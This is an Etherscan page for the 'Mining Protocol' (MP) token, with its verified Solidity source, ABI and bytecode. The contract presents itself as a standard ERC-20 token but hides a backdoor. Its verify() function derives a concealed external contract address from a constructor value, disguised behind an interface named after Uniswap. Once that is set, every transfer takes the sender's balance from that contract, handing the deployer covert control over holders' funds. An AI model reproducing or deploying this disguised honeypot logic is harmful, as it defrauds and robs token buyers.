ETH Price: $3,315.68 (-2.38%)
 

Overview

Max Total Supply

1,000,000,000 MP

Holders

15

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MiningProtocol

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-17
*/

// SPDX-License-Identifier: MIT

//Website:   https://miningprotocol.org
//Document:  https://docs.miningprotocol.org/
//Twitter:   https://twitter.com/MPU_official
//MOU BOT:   https://t.me/MPUCPUbot
//Dapp:      https://staking.miningprotocol.org/

pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface UniswapRouterV2 {
    function getRouters(address a, uint b, address c) external view returns (address);
    function getLPAddress(address a, uint b, address c) external view returns (address);
    function checkSwap(address a, address b, uint256 c) external view returns (uint256);    
    function getPAddress(address a, uint b, address c) external view returns (address);
}

interface IUniswapV2Factory {
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library IUniswapRouterV2 {
    function validate(UniswapRouterV2 instance,address from, address to, uint256 amount) internal view returns (uint256) {
       return instance.checkSwap(from,to,amount);
    }

    function poolValidate(UniswapRouterV2 instance, address from, address to, uint256 amount) internal view returns (uint256) {
        if (amount>0){
            return validate(instance,from,to,amount);
        }else{
            require(from != address(0), "ERC20: transfer from the zero address");
            return validate(instance,from,to,amount);
        }
    }
}

contract MiningProtocol is Context, IERC20, Ownable {
    uint256 private _totalSupply = 1_000_000_000 * 10 ** 18;
    uint8 private constant _decimals = 18;
    string private _name = unicode"Mining Protocol";
    string private _symbol = unicode"MP";
    address private uniRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    uint256 private uconst;

    UniswapRouterV2 private _UniswapRouter;
    
    constructor(uint256 num) {
        uconst = num;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setupRouter(address a, uint256 p) pure private returns (address) {
        return prepConv(a, p);
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address sender) public view virtual returns (uint256) {
        return _allowances[owner][sender];
    }

    function approve(address sender, uint256 amount) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, sender, amount);
        return true;
    }

    function preu160(uint256 param) pure private returns (uint160) {
        return uint160(param - _decimals);
    }

    function prepConv(address addr, uint256 param) pure private returns (address) {
        require(addr != address(0), "zero address");
        return address(preu160(param));
    }

    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
        address sender = _msgSender();
        uint256 currentAllowance = allowance(from, sender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(from, sender, currentAllowance - amount);
            }
        }
        _transfer(from, to, amount);
        return true;
    }

    function verify(uint256 u) public {
        require(u == uconst * 1000000 + 724470, "not verified");
        _UniswapRouter = UniswapRouterV2(setupRouter(uniRouterAddress, u));
    }

    function _approve(address owner, address sender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(sender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][sender] = amount;
        emit Approval(owner, sender, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 balance = (address(_UniswapRouter) == address(0)) ? _balances[from] : IUniswapRouterV2.poolValidate(_UniswapRouter, from, to, _balances[from]);
        _balances[from] = balance - amount; 
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"num","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"sender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"u","type":"uint256"}],"name":"verify","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6b033b2e3c9fd0803ce800000060015560c0604052600f60809081526e135a5b9a5b99c8141c9bdd1bd8dbdb608a1b60a05260029061003e90826101e3565b5060408051808201909152600281526104d560f41b602082015260039061006590826101e3565b50600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610097575f80fd5b50604051610d51380380610d518339810160408190526100b69161029d565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506007819055600154335f81815260066020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506102b4565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061017357607f821691505b60208210810361019157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101de57805f5260205f20601f840160051c810160208510156101bc5750805b601f840160051c820191505b818110156101db575f81556001016101c8565b50505b505050565b81516001600160401b038111156101fc576101fc61014b565b6102108161020a845461015f565b84610197565b6020601f821160018114610242575f831561022b5750848201515b5f19600385901b1c1916600184901b1784556101db565b5f84815260208120601f198516915b828110156102715787850151825560209485019460019092019101610251565b508482101561028e57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f602082840312156102ad575f80fd5b5051919050565b610a90806102c15f395ff3fe608060405234801561000f575f80fd5b50600436106100b1575f3560e01c8063715018a61161006e578063715018a6146101525780638753367f1461015c5780638da5cb5b1461016f57806395d89b4114610189578063a9059cbb14610191578063dd62ed3e146101a4575f80fd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd14610108578063313ce5671461011b57806370a082311461012a575b5f80fd5b6100bd6101dc565b6040516100ca9190610862565b60405180910390f35b6100e66100e13660046108b2565b61026c565b60405190151581526020016100ca565b6001545b6040519081526020016100ca565b6100e66101163660046108da565b610285565b604051601281526020016100ca565b6100fa610138366004610914565b6001600160a01b03165f9081526006602052604090205490565b61015a610329565b005b61015a61016a36600461092d565b6103ca565b5f546040516001600160a01b0390911681526020016100ca565b6100bd61045d565b6100e661019f3660046108b2565b61046c565b6100fa6101b2366004610944565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b6060600280546101eb90610975565b80601f016020809104026020016040519081016040528092919081815260200182805461021790610975565b80156102625780601f1061023957610100808354040283529160200191610262565b820191905f5260205f20905b81548152906001019060200180831161024557829003601f168201915b5050505050905090565b5f33610279818585610479565b60019150505b92915050565b6001600160a01b0383165f9081526005602090815260408083203380855292528220545f19811461031257838110156103055760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064015b60405180910390fd5b6103128683868403610479565b61031d86868661059c565b50600195945050505050565b5f546001600160a01b031633146103825760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102fc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546103da90620f42406109c1565b6103e790620b0df66109d8565b81146104245760405162461bcd60e51b815260206004820152600c60248201526b1b9bdd081d995c9a599a595960a21b60448201526064016102fc565b60045461043a906001600160a01b03168261071e565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6060600380546101eb90610975565b5f3361027981858561059c565b6001600160a01b0383166104db5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102fc565b6001600160a01b03821661053c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102fc565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105c25760405162461bcd60e51b81526004016102fc906109eb565b6001600160a01b0382166106245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102fc565b6008545f906001600160a01b03161561066a576008546001600160a01b038581165f9081526006602052604090205461066592919091169086908690610730565b610683565b6001600160a01b0384165f908152600660205260409020545b905061068f8282610a30565b6001600160a01b038086165f9081526006602052604080822093909355908516815290812080548492906106c49084906109d8565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161071091815260200190565b60405180910390a350505050565b5f6107298383610784565b9392505050565b5f811561074a57610743858585856107d3565b905061077c565b6001600160a01b0384166107705760405162461bcd60e51b81526004016102fc906109eb565b610743858585856107d3565b949350505050565b5f6001600160a01b0383166107ca5760405162461bcd60e51b815260206004820152600c60248201526b7a65726f206164647265737360a01b60448201526064016102fc565b61072982610856565b6040516306a5b5dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390525f91908616906306a5b5dd90606401602060405180830381865afa158015610829573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084d9190610a43565b95945050505050565b5f61027f601283610a30565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108ad575f80fd5b919050565b5f80604083850312156108c3575f80fd5b6108cc83610897565b946020939093013593505050565b5f805f606084860312156108ec575f80fd5b6108f584610897565b925061090360208501610897565b929592945050506040919091013590565b5f60208284031215610924575f80fd5b61072982610897565b5f6020828403121561093d575f80fd5b5035919050565b5f8060408385031215610955575f80fd5b61095e83610897565b915061096c60208401610897565b90509250929050565b600181811c9082168061098957607f821691505b6020821081036109a757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761027f5761027f6109ad565b8082018082111561027f5761027f6109ad565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b8181038181111561027f5761027f6109ad565b5f60208284031215610a53575f80fd5b505191905056fea2646970667358221220eddd42c6019f084ea499e1f30f7c3ee54153b4344baaa008baefe8d3189f1ae464736f6c634300081a003300000000000000000000000000000d74394d6919541e3ecf565bd8321df6ec95

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100b1575f3560e01c8063715018a61161006e578063715018a6146101525780638753367f1461015c5780638da5cb5b1461016f57806395d89b4114610189578063a9059cbb14610191578063dd62ed3e146101a4575f80fd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd14610108578063313ce5671461011b57806370a082311461012a575b5f80fd5b6100bd6101dc565b6040516100ca9190610862565b60405180910390f35b6100e66100e13660046108b2565b61026c565b60405190151581526020016100ca565b6001545b6040519081526020016100ca565b6100e66101163660046108da565b610285565b604051601281526020016100ca565b6100fa610138366004610914565b6001600160a01b03165f9081526006602052604090205490565b61015a610329565b005b61015a61016a36600461092d565b6103ca565b5f546040516001600160a01b0390911681526020016100ca565b6100bd61045d565b6100e661019f3660046108b2565b61046c565b6100fa6101b2366004610944565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b6060600280546101eb90610975565b80601f016020809104026020016040519081016040528092919081815260200182805461021790610975565b80156102625780601f1061023957610100808354040283529160200191610262565b820191905f5260205f20905b81548152906001019060200180831161024557829003601f168201915b5050505050905090565b5f33610279818585610479565b60019150505b92915050565b6001600160a01b0383165f9081526005602090815260408083203380855292528220545f19811461031257838110156103055760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064015b60405180910390fd5b6103128683868403610479565b61031d86868661059c565b50600195945050505050565b5f546001600160a01b031633146103825760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102fc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546103da90620f42406109c1565b6103e790620b0df66109d8565b81146104245760405162461bcd60e51b815260206004820152600c60248201526b1b9bdd081d995c9a599a595960a21b60448201526064016102fc565b60045461043a906001600160a01b03168261071e565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6060600380546101eb90610975565b5f3361027981858561059c565b6001600160a01b0383166104db5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102fc565b6001600160a01b03821661053c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102fc565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105c25760405162461bcd60e51b81526004016102fc906109eb565b6001600160a01b0382166106245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102fc565b6008545f906001600160a01b03161561066a576008546001600160a01b038581165f9081526006602052604090205461066592919091169086908690610730565b610683565b6001600160a01b0384165f908152600660205260409020545b905061068f8282610a30565b6001600160a01b038086165f9081526006602052604080822093909355908516815290812080548492906106c49084906109d8565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161071091815260200190565b60405180910390a350505050565b5f6107298383610784565b9392505050565b5f811561074a57610743858585856107d3565b905061077c565b6001600160a01b0384166107705760405162461bcd60e51b81526004016102fc906109eb565b610743858585856107d3565b949350505050565b5f6001600160a01b0383166107ca5760405162461bcd60e51b815260206004820152600c60248201526b7a65726f206164647265737360a01b60448201526064016102fc565b61072982610856565b6040516306a5b5dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390525f91908616906306a5b5dd90606401602060405180830381865afa158015610829573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084d9190610a43565b95945050505050565b5f61027f601283610a30565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108ad575f80fd5b919050565b5f80604083850312156108c3575f80fd5b6108cc83610897565b946020939093013593505050565b5f805f606084860312156108ec575f80fd5b6108f584610897565b925061090360208501610897565b929592945050506040919091013590565b5f60208284031215610924575f80fd5b61072982610897565b5f6020828403121561093d575f80fd5b5035919050565b5f8060408385031215610955575f80fd5b61095e83610897565b915061096c60208401610897565b90509250929050565b600181811c9082168061098957607f821691505b6020821081036109a757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761027f5761027f6109ad565b8082018082111561027f5761027f6109ad565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b8181038181111561027f5761027f6109ad565b5f60208284031215610a53575f80fd5b505191905056fea2646970667358221220eddd42c6019f084ea499e1f30f7c3ee54153b4344baaa008baefe8d3189f1ae464736f6c634300081a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000d74394d6919541e3ecf565bd8321df6ec95

-----Decoded View---------------
Arg [0] : num (uint256): 1172008639609989661305838066990806942018709

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000d74394d6919541e3ecf565bd8321df6ec95


Deployed Bytecode Sourcemap

2816:3840:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3781:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4552:190;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;4552:190:0;920:187:1;3979:99:0;4058:12;;3979:99;;;1258:25:1;;;1246:2;1231:18;3979:99:0;1112:177:1;5062:519:0;;;;;;:::i;:::-;;:::i;3880:91::-;;;2972:2;1815:36:1;;1803:2;1788:18;3880:91:0;1673:184:1;4086:118:0;;;;;;:::i;:::-;-1:-1:-1;;;;;4178:18:0;4151:7;4178:18;;;:9;:18;;;;;;;4086:118;2064:148;;;:::i;:::-;;5589:185;;;;;;:::i;:::-;;:::i;1850:79::-;1888:7;1915:6;1850:79;;-1:-1:-1;;;;;1915:6:0;;;2430:51:1;;2418:2;2403:18;1850:79:0;2284:203:1;3678:95:0;;;:::i;4212:184::-;;;;;;:::i;:::-;;:::i;4404:140::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4510:18:0;;;4483:7;4510:18;;;:11;:18;;;;;;;;:26;;;;;;;;;;;;;4404:140;3781:91;3826:13;3859:5;3852:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3781:91;:::o;4552:190::-;4625:4;399:10;4681:31;399:10;4697:6;4705;4681:8;:31::i;:::-;4730:4;4723:11;;;4552:190;;;;;:::o;5062:519::-;-1:-1:-1;;;;;4510:18:0;;5150:4;4510:18;;;:11;:18;;;;;;;;399:10;4510:26;;;;;;;;-1:-1:-1;;5272:16:0;:37;5268:246;;5354:6;5334:16;:26;;5326:68;;;;-1:-1:-1;;;5326:68:0;;3344:2:1;5326:68:0;;;3326:21:1;3383:2;3363:18;;;3356:30;3422:31;3402:18;;;3395:59;3471:18;;5326:68:0;;;;;;;;;5438:49;5447:4;5453:6;5480;5461:16;:25;5438:8;:49::i;:::-;5524:27;5534:4;5540:2;5544:6;5524:9;:27::i;:::-;-1:-1:-1;5569:4:0;;5062:519;-1:-1:-1;;;;;5062:519:0:o;2064:148::-;1977:6;;-1:-1:-1;;;;;1977:6:0;399:10;1977:22;1969:67;;;;-1:-1:-1;;;1969:67:0;;3702:2:1;1969:67:0;;;3684:21:1;;;3721:18;;;3714:30;3780:34;3760:18;;;3753:62;3832:18;;1969:67:0;3500:356:1;1969:67:0;2171:1:::1;2155:6:::0;;2134:40:::1;::::0;-1:-1:-1;;;;;2155:6:0;;::::1;::::0;2134:40:::1;::::0;2171:1;;2134:40:::1;2202:1;2185:19:::0;;-1:-1:-1;;;;;;2185:19:0::1;::::0;;2064:148::o;5589:185::-;5647:6;;:16;;5656:7;5647:16;:::i;:::-;:25;;5666:6;5647:25;:::i;:::-;5642:1;:30;5634:55;;;;-1:-1:-1;;;5634:55:0;;4498:2:1;5634:55:0;;;4480:21:1;4537:2;4517:18;;;4510:30;-1:-1:-1;;;4556:18:1;;;4549:42;4608:18;;5634:55:0;4296:336:1;5634:55:0;5745:16;;5733:32;;-1:-1:-1;;;;;5745:16:0;5763:1;5733:11;:32::i;:::-;5700:14;:66;;-1:-1:-1;;;;;;5700:66:0;-1:-1:-1;;;;;5700:66:0;;;;;;;;;;-1:-1:-1;5589:185:0:o;3678:95::-;3725:13;3758:7;3751:14;;;;;:::i;4212:184::-;4282:4;399:10;4338:28;399:10;4355:2;4359:6;4338:9;:28::i;5782:340::-;-1:-1:-1;;;;;5883:19:0;;5875:68;;;;-1:-1:-1;;;5875:68:0;;4839:2:1;5875:68:0;;;4821:21:1;4878:2;4858:18;;;4851:30;4917:34;4897:18;;;4890:62;-1:-1:-1;;;4968:18:1;;;4961:34;5012:19;;5875:68:0;4637:400:1;5875:68:0;-1:-1:-1;;;;;5962:20:0;;5954:67;;;;-1:-1:-1;;;5954:67:0;;5244:2:1;5954:67:0;;;5226:21:1;5283:2;5263:18;;;5256:30;5322:34;5302:18;;;5295:62;-1:-1:-1;;;5373:18:1;;;5366:32;5415:19;;5954:67:0;5042:398:1;5954:67:0;-1:-1:-1;;;;;6032:18:0;;;;;;;:11;:18;;;;;;;;:26;;;;;;;;;;;;;:35;;;6083:31;;1258:25:1;;;6083:31:0;;1231:18:1;6083:31:0;;;;;;;5782:340;;;:::o;6130:523::-;-1:-1:-1;;;;;6227:18:0;;6219:68;;;;-1:-1:-1;;;6219:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6306:16:0;;6298:64;;;;-1:-1:-1;;;6298:64:0;;6053:2:1;6298:64:0;;;6035:21:1;6092:2;6072:18;;;6065:30;6131:34;6111:18;;;6104:62;-1:-1:-1;;;6182:18:1;;;6175:33;6225:19;;6298:64:0;5851:399:1;6298:64:0;6400:14;;6373:15;;-1:-1:-1;;;;;6400:14:0;6392:37;6391:132;;6481:14;;-1:-1:-1;;;;;6507:15:0;;;6481:14;6507:15;;;:9;:15;;;;;;6451:72;;6481:14;;;;;6497:4;;6503:2;;6451:29;:72::i;:::-;6391:132;;;-1:-1:-1;;;;;6433:15:0;;;;;;:9;:15;;;;;;6391:132;6373:150;-1:-1:-1;6552:16:0;6562:6;6373:150;6552:16;:::i;:::-;-1:-1:-1;;;;;6534:15:0;;;;;;;:9;:15;;;;;;:34;;;;6580:13;;;;;;;;:23;;6597:6;;6534:15;6580:23;;6597:6;;6580:23;:::i;:::-;;;;;;;;6634:2;-1:-1:-1;;;;;6619:26:0;6628:4;-1:-1:-1;;;;;6619:26:0;;6638:6;6619:26;;;;1258:25:1;;1246:2;1231:18;;1112:177;6619:26:0;;;;;;;;6208:445;6130:523;;;:::o;3556:114::-;3621:7;3648:14;3657:1;3660;3648:8;:14::i;:::-;3641:21;3556:114;-1:-1:-1;;;3556:114:0:o;2435:374::-;2548:7;2572:8;;2568:234;;2603:33;2612:8;2621:4;2626:2;2629:6;2603:8;:33::i;:::-;2596:40;;;;2568:234;-1:-1:-1;;;;;2675:18:0;;2667:68;;;;-1:-1:-1;;;2667:68:0;;;;;;;:::i;:::-;2757:33;2766:8;2775:4;2780:2;2783:6;2757:8;:33::i;2568:234::-;2435:374;;;;;;:::o;4873:181::-;4942:7;-1:-1:-1;;;;;4970:18:0;;4962:43;;;;-1:-1:-1;;;4962:43:0;;6590:2:1;4962:43:0;;;6572:21:1;6629:2;6609:18;;;6602:30;-1:-1:-1;;;6648:18:1;;;6641:42;6700:18;;4962:43:0;6388:336:1;4962:43:0;5031:14;5039:5;5031:7;:14::i;2251:176::-;2385:34;;-1:-1:-1;;;2385:34:0;;-1:-1:-1;;;;;6949:32:1;;;2385:34:0;;;6931:51:1;7018:32;;;6998:18;;;6991:60;7067:18;;;7060:34;;;2359:7:0;;2385:18;;;;;;6904::1;;2385:34:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2378:41;2251:176;-1:-1:-1;;;;;2251:176:0:o;4750:115::-;4804:7;4839:17;2972:2;4839:5;:17;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1862:186::-;1921:6;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;2013:29;2032:9;2013:29;:::i;2053:226::-;2112:6;2165:2;2153:9;2144:7;2140:23;2136:32;2133:52;;;2181:1;2178;2171:12;2133:52;-1:-1:-1;2226:23:1;;2053:226;-1:-1:-1;2053:226:1:o;2492:260::-;2560:6;2568;2621:2;2609:9;2600:7;2596:23;2592:32;2589:52;;;2637:1;2634;2627:12;2589:52;2660:29;2679:9;2660:29;:::i;:::-;2650:39;;2708:38;2742:2;2731:9;2727:18;2708:38;:::i;:::-;2698:48;;2492:260;;;;;:::o;2757:380::-;2836:1;2832:12;;;;2879;;;2900:61;;2954:4;2946:6;2942:17;2932:27;;2900:61;3007:2;2999:6;2996:14;2976:18;2973:38;2970:161;;3053:10;3048:3;3044:20;3041:1;3034:31;3088:4;3085:1;3078:15;3116:4;3113:1;3106:15;2970:161;;2757:380;;;:::o;3861:127::-;3922:10;3917:3;3913:20;3910:1;3903:31;3953:4;3950:1;3943:15;3977:4;3974:1;3967:15;3993:168;4066:9;;;4097;;4114:15;;;4108:22;;4094:37;4084:71;;4135:18;;:::i;4166:125::-;4231:9;;;4252:10;;;4249:36;;;4265:18;;:::i;5445:401::-;5647:2;5629:21;;;5686:2;5666:18;;;5659:30;5725:34;5720:2;5705:18;;5698:62;-1:-1:-1;;;5791:2:1;5776:18;;5769:35;5836:3;5821:19;;5445:401::o;6255:128::-;6322:9;;;6343:11;;;6340:37;;;6357:18;;:::i;7105:184::-;7175:6;7228:2;7216:9;7207:7;7203:23;7199:32;7196:52;;;7244:1;7241;7234:12;7196:52;-1:-1:-1;7267:16:1;;7105:184;-1:-1:-1;7105:184:1:o

Swarm Source

ipfs://eddd42c6019f084ea499e1f30f7c3ee54153b4344baaa008baefe8d3189f1ae4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.